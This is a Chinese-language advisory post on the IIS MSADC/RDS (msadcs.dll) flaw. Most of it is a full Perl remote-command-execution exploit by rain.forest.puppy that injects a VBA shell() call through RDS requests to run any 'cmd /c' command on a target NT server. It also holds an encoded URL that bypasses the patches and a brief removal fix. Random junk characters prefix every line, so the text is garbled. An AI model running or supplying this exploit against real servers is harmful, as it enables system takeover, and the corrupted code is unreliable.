IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)
T)u w2 _(hwU>. 涉及程序:
vf2K2\fn Microsoft NT server
|(SW 7'|PHQ? S 描述:
c&++[ 1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限
(yP55PC
O$ 3\{Sf /# 详细:
,B2-'O 如果你没有时间读详细内容的话,就删除:
zgqw*)C~ c:\Program Files\Common Files\System\Msadc\msadcs.dll
P5>CSWy% 有关的安全问题就没有了。
TI>yi ^} tX251S 微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。
1 XG-O {UcItLjY 1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。
k@L~h{`Mc\ 关于利用ODBC远程漏洞的描述,请参看:
Al|7Y/ z m'jk D| http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm 6"7qZq z'lNO| nU 2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看
qC )VT3 http://www.microsoft.com/security/bulletins/MS99-025faq.asp .N=hA qj&)w9RLJE 这里不再论述。
/>C~a]} +!vRU` 3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似:
M2}<gRL*}J ZhsZywM /%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset
"b
0cj 的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!!
aJ8pJ{,P rg,63r vNC0M:p, #将下面这段保存为txt文件,然后: "perl -x 文件名"
9HX+sB
M {n]sRz #!perl
H#inr^Xa #
Q(UGwd1 # MSADC/RDS 'usage' (aka exploit) script
S F>D:$a #
.jp]S4~ # by rain.forest.puppy
X}(0y
#
9$&e~^&B # Many thanks to Weld, Mudge, and Dildog from l0pht for helping me
~t={ \,X\ # beta test and find errors!
F"x O0t ~-5@- V use Socket; use Getopt::Std;
D,\=zX; getopts("e:vd:h:XR", \%args);
pr txE&- k`TJ<Dv; print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n";
(GG"'bYk ImY.HB^& if (!defined $args{h} && !defined $args{R}) {
>x4[7YAU{ print qq~
`l2q G# Usage: msadc.pl -h <host> { -d <delay> -X -v }
n5.>;N.* -h <host> = host you want to scan (ip or domain)
(x
qA.(F -d <seconds> = delay between calls, default 1 second
Jj:6
c -X = dump Index Server path table, if available
\w^QHX1+ -v = verbose
{ah=i8$ -e = external dictionary file for step 5
*Xoscc Wq(l :W' Or a -R will resume a command session
R`2A-c Net)l@IB] ~; exit;}
W(h8!} N}fUBX4k $ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target="";
N-`;\ if (defined $args{v}) { $verbose=1; } else {$verbose=0;}
hXm}d\ if (defined $args{d}) { $delay=$args{d};} else {$delay=1;}
ht)nx,e= if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/);
m>ycN $target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");}
n=? 0g;1! if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; }
P]"deB| P/Kit?kngS if (!defined $args{R}){ $ret = &has_msadc;
oDP((I2- die("Looks like msadcs.dll doesn't exist\n")if $ret==0}
</gp3WQ. X5Y
`(/V print "Please type the NT commandline you want to run (cmd /c assumed):\n"
e({fY.)SGo . "cmd /c ";
S2E HmE& $in=<STDIN>; chomp $in;
hw$c@:pW; $command="cmd /c " . $in ;
JGcD{RU| E[.tQ|C if (defined $args{R}) {&load; exit;}
br Z,s /;AZ/Ocy! print "\nStep 1: Trying raw driver to btcustmr.mdb\n";
1G%PXrEj8 &try_btcustmr;
l&*)r;9 y?n2`l7f print "\nStep 2: Trying to make our own DSN...";
=`~Z@IbdI &make_dsn ? print "<<success>>\n" : print "<<fail>>\n";
t3t0vWE<, kQVDC,d print "\nStep 3: Trying known DSNs...";
~9r!m5ws &known_dsn;
QaWHz
k0_$M{@Y print "\nStep 4: Trying known .mdbs...";
qQOD &known_mdb;
<m,yFk K;p<f{PE if (defined $args{e}){
BD7@Mj*| print "\nStep 5: Trying dictionary of DSN names...";
Pzp+I} &dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; }
pXh~#o6V K\+}q{ print "Sorry Charley...maybe next time?\n";
&4Con%YU[ exit;
HI\f>U d:hL
)x ##############################################################################
sD8m< NOr
<, sub sendraw { # ripped and modded from whisker
}{xN`pZ sleep($delay); # it's a DoS on the server! At least on mine...
2l@"p!ar= my ($pstr)=@_;
=HY1l}\ socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
kq~[k. die("Socket problems\n");
rEyz|k: if(connect(S,pack "SnA4x8",2,80,$target)){
,LW+7yD select(S); $|=1;
/%YiZ# print $pstr; my @in=<S>;
E0eQ9BXh select(STDOUT); close(S);
RO{@RhnV return @in;
96pk[5lj{? } else { die("Can't connect...\n"); }}
]}[Yf eR-=<0Iw; ##############################################################################
q{cp|#m#G 3z)"U sub make_header { # make the HTTP request
LxlbD#<V my $msadc=<<EOT
7~"(+f POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1
<D!c
~*[ User-Agent: ACTIVEDATA
/3Nb Host: $ip
P:(EU s}0 Content-Length: $clen
.L7Yf+yFg Connection: Keep-Alive
/^LH *)bd1B# ADCClientVersion:01.06
B9e.-Xaf Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3
FU\/JF.j )!k_Gb`#X --!ADM!ROX!YOUR!WORLD!
8b 8\ Content-Type: application/x-varg
)ojx_3j8 Content-Length: $reqlen
Nxb\[ E-sSRt EOT
cc41b*ci$ ; $msadc=~s/\n/\r\n/g;
R6q4 [" return $msadc;}
z0 2}&^Zzk 8jggc#. ##############################################################################
5,
-pBep< wI!
+L&Q sub make_req { # make the RDS request
6!+X.+ my ($switch, $p1, $p2)=@_;
^+*GbY$' my $req=""; my $t1, $t2, $query, $dsn;
hB?,7- ^r>f2 x if ($switch==1){ # this is the btcustmr.mdb query
x^)g'16` $query="Select * from Customers where City=" . make_shell();
^p 2.UW $dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" .
`u#;MUg $p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";}
2"leUur~rO 1Sg|3T8bGT elsif ($switch==2){ # this is general make table query
G;C8Kde $query="create table AZZ (B int, C varchar(10))";
{jOzap| $dsn="$p1";}
goDV2alC^ )C>}"#J> elsif ($switch==3){ # this is general exploit table query
ZU-4})7uSB $query="select * from AZZ where C=" . make_shell();
M!Z*QY."P $dsn="$p1";}
hIVI\U, 3cOY0Z#T elsif ($switch==4){ # attempt to hork file info from index server
dUoWo3r= $query="select path from scope()";
E+}GxFG-: $dsn="Provider=MSIDXS;";}
4jX@m &@YFje6Lcm elsif ($switch==5){ # bad query
n .f4z< $query="select";
B;z;vrrL $dsn="$p1";}
e^k!vk-SLF %/l-A
pu $t1= make_unicode($query);
#)^^_ $t2= make_unicode($dsn);
)o#6-K+b $req = "\x02\x00\x03\x00";
`]`=]*d $req.= "\x08\x00" . pack ("S1", length($t1));
}_{y|NW $req.= "\x00\x00" . $t1 ;
Nfv="t9e $req.= "\x08\x00" . pack ("S1", length($t2));
t_dcV%= $req.= "\x00\x00" . $t2 ;
^I X%dzM $req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n";
Hp btj return $req;}
fav5e'[$ R=-+YBw7/ ##############################################################################
o'C~~Vg). t=n+3`g sub make_shell { # this makes the shell() statement
ud0QZ X return "'|shell(\"$command\")|'";}
tJ=3'?T_k (M ]XNn ##############################################################################
Dv<wge` AL>c:K)qO sub make_unicode { # quick little function to convert to unicode
-$+,]t^GV my ($in)=@_; my $out;
j4;Du>obQ for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; }
i@P 9EU return $out;}
4|[<e-W U/ ?F:QD4 ##############################################################################
O(VxMO
tT;8r8@ sub rdo_success { # checks for RDO return success (this is kludge)
gjW\
XY my (@in) = @_; my $base=content_start(@in);
3A-*vaySV if($in[$base]=~/multipart\/mixed/){
"\}b!gl$8 return 1 if( $in[$base+10]=~/^\x09\x00/ );}
Q_ctX|. return 0;}
a9[mZVMgUK 8h2D+1,PZC ##############################################################################
OmB
TA=E< ,H>W:O sub make_dsn { # this makes a DSN for us
;\N79)Gk my @drives=("c","d","e","f");
60"5?=D print "\nMaking DSN: ";
r"R(}`<, foreach $drive (@drives) {
]>5T}h print "$drive: ";
{!L=u/qs" my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" .
vR7ct av "Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq="
xEjx]w/& . $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n");
]?[zx'| $results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#;
2(pLxVl return 0 if $2 eq "404"; # not found/doesn't exist
R]Hz8 _X if($2 eq "200") {
/K7Bae5h foreach $line (@results) {
M~uMY+> return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}}
tKwn~T } return 0;}
&x`&03X Di:{er(p ##############################################################################
jz*0`9&_ (~h7rAEc sub verify_exists {
k@S)j< my ($page)=@_;
'=VH6@vZ_' my @results=sendraw("GET $page HTTP/1.0\n\n");
9I85EcT^4" return $results[0];}
ton1oq
%NNj9Bl<VV ##############################################################################
wb
b*nL|P kP@HG<~ sub try_btcustmr {
IXnb]q. my @drives=("c","d","e","f");
rn;<HT my @dirs=("winnt","winnt35","winnt351","win","windows");
/ip lU +jUgx;u, foreach $dir (@dirs) {
wh%xkXa[ur print "$dir -> "; # fun status so you can see progress
lr,q{; foreach $drive (@drives) {
Z:!IX^q;}n print "$drive: "; # ditto
Mm5c8[
$reqlen=length( make_req(1,$drive,$dir) ) - 28;
'xIyGDe $reqlenlen=length( "$reqlen" );
cS4DN $clen= 206 + $reqlenlen + $reqlen;
wTxbDT@ H5 GMl"{Oxo& my @results=sendraw(make_header() . make_req(1,$drive,$dir));
7'z(~3D if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;}
P>(&glr| else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}}
_BbvhWN&+ Xh?4mKgu ##############################################################################
P$_&
K4:
$= sub odbc_error {
30s; } my (@in)=@_; my $base;
D93gH1z my $base = content_start(@in);
=J](.78 if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this
*r;xw $in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
Vz{>cSz# $in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
+
~"5! $in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
\/ErPi=g return $in[$base+4].$in[$base+5].$in[$base+6];}
eIH$"f;L print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n";
6#U^<` print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] .
/'ZKS T4 $in[$base+4] . $in[$base+5] . $in[$base+6]; exit;}
ow/U \8{\;L C ##############################################################################
1c$vLo832 J/ vK6cO\ sub verbose {
nq1
'F my ($in)=@_;
7tRi"\[5 return if !$verbose;
<YH=3[ print STDOUT "\n$in\n";}
HJIC<U \|.7-X ##############################################################################
,beS0U] QOH<]~3J sub save {
Ke!'gohv my ($p1, $p2, $p3, $p4)=@_;
X3',vey open(OUT, ">rds.save") || print "Problem saving parameters...\n";
dxK9:IX print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n";
k=$AhT=e}n close OUT;}
1yMr~Fo 7VAJJv3 ##############################################################################
b5<okICD 22&;jpL'?
sub load {
lj4o#^lC my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq=";
.1#kDM open(IN,"<rds.save") || die("Couldn't open rds.save\n");
iG#}` @p=<IN>; close(IN);
E"6X|I n $ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/);
:Wc_Utt $target= inet_aton($ip) || die("inet_aton problems");
u#@RM^738d print "Resuming to $ip ...";
2}vNSQvG $p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g;
d$G}iJ8$mp if($p[1]==1) {
I-DXb
M $reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28;
8PBvV[ $reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen;
Z+4D.bA my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]"));
T7[NcZ:I if (rdo_success(@results)){print "Success!\n";}
WF[bO7: else { print "failed\n"; verbose(odbc_error(@results));}}
F'FP0t!S elsif ($p[1]==3){
O6X"RsI} if(run_query("$p[3]")){
Ch19h8M print "Success!\n";} else { print "failed\n"; }}
1& ^?U{ elsif ($p[1]==4){
uOd&XW if(run_query($drvst . "$p[3]")){
aJzLrX print "Success!\n"; } else { print "failed\n"; }}
cE\>f8 I exit;}
!Ms[eB yCP4r6X0 ##############################################################################
/TV=$gB` Dvc&RG sub create_table {
e2cP
*J my ($in)=@_;
6;iJ*2f5V $reqlen=length( make_req(2,$in,"") ) - 28;
`XKVr $reqlenlen=length( "$reqlen" );
l1'6cLT` $clen= 206 + $reqlenlen + $reqlen;
3I $>uR my @results=sendraw(make_header() . make_req(2,$in,""));
9t$]X>} return 1 if rdo_success(@results);
%%JMb=!%2 my $temp= odbc_error(@results); verbose($temp);
R#W&ery return 1 if $temp=~/Table 'AZZ' already exists/;
~b)74M/ return 0;}
Zsx3/} ,R2U`EO; ##############################################################################
LT VF8-v b~w=v_[(I sub known_dsn {
t e,[f # we want 'wicca' first, because if step 2 made the DSN, it's ready to go
}D;WN@], my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications",
}t%W1UJ "cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM",
lz<]5T| "banner", "banners", "ads", "ADCDemo", "ADCTest");
oM1Qh? f-SuM% S_ foreach $dSn (@dsns) {
JSr$-C
fH print ".";
]uQqn]+I! next if (!is_access("DSN=$dSn"));
mJ}opy!{; if(create_table("DSN=$dSn")){
=1.9/hW print "$dSn successful\n";
bt$)Xu<R if(run_query("DSN=$dSn")){
y*23$fj( print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
k{I01 print "Something's borked. Use verbose next time\n";}}} print "\n";}
. (}1%22 /.z;\=;[n! ##############################################################################
i'#Gy,R 4 %W: sub is_access {
)]htm&q5 my ($in)=@_;
j)C:$ $reqlen=length( make_req(5,$in,"") ) - 28;
XYrJ/!*. $reqlenlen=length( "$reqlen" );
SF*n1V3hx $clen= 206 + $reqlenlen + $reqlen;
3W_PE+:Kr my @results=sendraw(make_header() . make_req(5,$in,""));
2RM+W2!! my $temp= odbc_error(@results);
_iV]_\0W2 verbose($temp); return 1 if ($temp=~/Microsoft Access/);
`bjizS'^ return 0;}
0#cy=*E ,yd= e}lQx ##############################################################################
_zWfI.o T0z n,ej sub run_query {
\S~Vx!9w my ($in)=@_;
XB59Vm0E= $reqlen=length( make_req(3,$in,"") ) - 28;
o*rQP!8,oy $reqlenlen=length( "$reqlen" );
x1&W^~ $clen= 206 + $reqlenlen + $reqlen;
6CbxuzYer my @results=sendraw(make_header() . make_req(3,$in,""));
pmWr]G3,* return 1 if rdo_success(@results);
Av' GB my $temp= odbc_error(@results); verbose($temp);
CQh,~ return 0;}
Q'O[R+YT , fw6UhG ##############################################################################
/FP5`:PfL Q[F}r` sub known_mdb {
^vilgg~ my @drives=("c","d","e","f","g");
rl2&^N my @dirs=("winnt","winnt35","winnt351","win","windows");
:GpDg my $dir, $drive, $mdb;
UMl#D>:C< my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq=";
NKb1LbnZ*y \*f;X aa # this is sparse, because I don't know of many
e[_m<e my @sysmdbs=( "\\catroot\\icatalog.mdb",
qMt++*Ls "\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb",
R:Q0=PzDi# "\\system32\\certmdb.mdb",
L2Pujk "\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot%
uvP2Wgt YjOs}TD lx my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb",
' Z0r>. "\\cfusion\\cfapps\\forums\\forums_.mdb",
jw<pK4?y "\\cfusion\\cfapps\\forums\\data\\forums.mdb",
29CINC "\\cfusion\\cfapps\\security\\realm_.mdb",
a]
= "\\cfusion\\cfapps\\security\\data\\realm.mdb",
jO*l3:!~ \ "\\cfusion\\database\\cfexamples.mdb",
UhA"nt0 "\\cfusion\\database\\cfsnippets.mdb",
@c9^q>Uv "\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb",
R218(8S "\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb",
B/~%h | "\\cfusion\\brighttiger\\database\\cleam.mdb",
&`0/CV "\\cfusion\\database\\smpolicy.mdb",
\.YS%"Vz "\\cfusion\\database\cypress.mdb",
)WT>@ "\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb",
%1}K""/ "\\website\\cgi-win\\dbsample.mdb",
D(-yjY8aG "\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb",
X3'H
`/ "\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb"
l7# yZ*<v ); #these are just
6`vC1PK^ foreach $drive (@drives) {
26T "XW'_ foreach $dir (@dirs){
2MZCw^s> foreach $mdb (@sysmdbs) {
XQw>EZdj_N print ".";
..rOsg{ if(create_table($drv . $drive . ":\\" . $dir . $mdb)){
l\C.",CEcc print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n";
=UV`.d2[ if(run_query($drv . $drive . ":\\" . $dir . $mdb)){
u*hSj)vr1 print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit;
M![J2= } else { print "Something's borked. Use verbose next time\n"; }}}}}
BCA&mi3q fkac_X$7 foreach $drive (@drives) {
o}ZdTf= foreach $mdb (@mdbs) {
812$`5l print ".";
t. ;LnrY if(create_table($drv . $drive . $dir . $mdb)){
~?(N print "\n" . $drive . $dir . $mdb . " successful\n";
D*lKn62 if(run_query($drv . $drive . $dir . $mdb)){
K5lmVF\$P print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit;
jYKor7KTqT } else { print "Something's borked. Use verbose next time\n"; }}}}
Cg(Y&Gxf. }
X7rMeu &Y }N|q- ##############################################################################
irfp!(r 6fw(T.Pe sub hork_idx {
DY`kx2e! print "\nAttempting to dump Index Server tables...\n";
;3@cy|\: print " NOTE: Sometimes this takes a while, other times it stalls\n\n";
EVGt 5z $reqlen=length( make_req(4,"","") ) - 28;
+llR204 $reqlenlen=length( "$reqlen" );
!jTcsN% $clen= 206 + $reqlenlen + $reqlen;
Y=Kc'x[,Zj my @results=sendraw2(make_header() . make_req(4,"",""));
D|{jR~J)xK if (rdo_success(@results)){
HPZ}*m' my $max=@results; my $c; my %d;
Ftr5k^! for($c=19; $c<$max; $c++){
4T ~} $results[$c]=~s/\x00//g;
62zYRs\Y)X $results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g;
1u:<
25 $results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g;
"yS _s $results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/;
P}4QQw $d{"$1$2"}="";}
.4E&/w+ foreach $c (keys %d){ print "$c\n"; }
3U0`,c\ao* } else {print "Index server doesn't seem to be installed.\n"; }}
[C'JH//q*t ?U2< ##############################################################################
3qf
Ym}d r [*Vqcz sub dsn_dict {
<_-hRbS open(IN, "<$args{e}") || die("Can't open external dictionary\n");
~Yy>zUH^X while(<IN>){
/#)/; $hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print ".";
xsD($_ next if (!is_access("DSN=$dSn"));
j-lfMEa$o if(create_table("DSN=$dSn")){
%4gg@Z9 print "$dSn successful\n";
;'cN<x)%| if(run_query("DSN=$dSn")){
p"KFJ print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
T:=lz:}I print "Something's borked. Use verbose next time\n";}}}
fSokm4]vg print "\n"; close(IN);}
]jo1{IcI C@'h<[v`1v ##############################################################################
N u<_} $adbCY\ sub sendraw2 { # ripped and modded from whisker
6V7B;tB sleep($delay); # it's a DoS on the server! At least on mine...
@fl-3q my ($pstr)=@_;
~
Q. 7VDz socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
xwq+j " die("Socket problems\n");
=ACVE;L? if(connect(S,pack "SnA4x8",2,80,$target)){
24z< gO print "Connected. Getting data";
Y!nJg1 open(OUT,">raw.out"); my @in;
3`t%g[D1 select(S); $|=1; print $pstr;
PoxK{Y while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";}
^rifRY-,yO close(OUT); select(STDOUT); close(S); return @in;
(KDD e}f } else { die("Can't connect...\n"); }}
J1C3&t}
gaZu;t2u ##############################################################################
0.8 2kl }&wUr>= sub content_start { # this will take in the server headers
[PNT\ElT my (@in)=@_; my $c;
YoBDvV":@ for ($c=1;$c<500;$c++) {
xdp`<POn% if($in[$c] =~/^\x0d\x0a/){
z=q3Zo if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; }
K/IWH[ else { return $c+1; }}}
]&lY%"U$i return -1;} # it should never get here actually
_./Sk|C 1;Ou7T9w ##############################################################################
wea-zN CxwoBuG=? sub funky {
`erV$( M my (@in)=@_; my $error=odbc_error(@in);
/`wvxKX if($error=~/ADO could not find the specified provider/){
PHZ0P7 print "\nServer returned an ADO miscofiguration message\nAborting.\n";
@~^5l exit;}
fSK]|"c if($error=~/A Handler is required/){
,(EO'T[ print "\nServer has custom handler filters (they most likely are patched)\n";
`p2+&&]S exit;}
\hDlTp} if($error=~/specified Handler has denied Access/){
H4:`6 PSL print "\nServer has custom handler filters (they most likely are patched)\n";
|}=acc/ exit;}}
/_I]H UQ?XqgUM ##############################################################################
Ya3C#= (k5We!4[1 sub has_msadc {
0i!uUF my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n");
;f#v0W`5 my $base=content_start(@results);
PQ5QA61 return 1 if($results[$base]=~/Content-Type: application\/x-varg/);
}dgfqq return 0;}
&"&Z
#llb QdF5Cwf4 ########################
Q(wx nm a&/#X9/ TaKLzd2 解决方案:
2^h27A 1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll
<m)$K 2、移除web 目录: /msadc